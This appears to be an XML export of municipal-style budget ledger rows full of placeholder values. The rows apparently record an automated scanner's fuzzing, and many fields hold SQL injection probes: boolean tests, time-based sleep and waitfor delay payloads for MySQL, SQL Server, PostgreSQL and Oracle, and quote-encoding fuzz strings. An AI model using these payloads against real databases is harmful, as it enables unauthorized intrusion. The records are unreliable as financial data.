<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=26 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=25 or 'rnnYPkJb'='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1' OR 5*5=26 or 'rnnYPkJb'='</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=25 or "s4XSUfiM"="</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1" OR 5*5=26 or "s4XSUfiM"="</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>if(now()=sysdate(),sleep(15),0)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUxIOYx6hx'; waitfor delay '0:0:15' -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUNylfyhRr' OR 667=(SELECT 667 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU2XoYjU8m') OR 857=(SELECT 857 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUbcXsHKyR')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU����%2527%2522\'\"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>@@DP9qb</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891 from DUAL)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1); waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>-1 OR 5*5=25 -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1bfY8cpy5</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
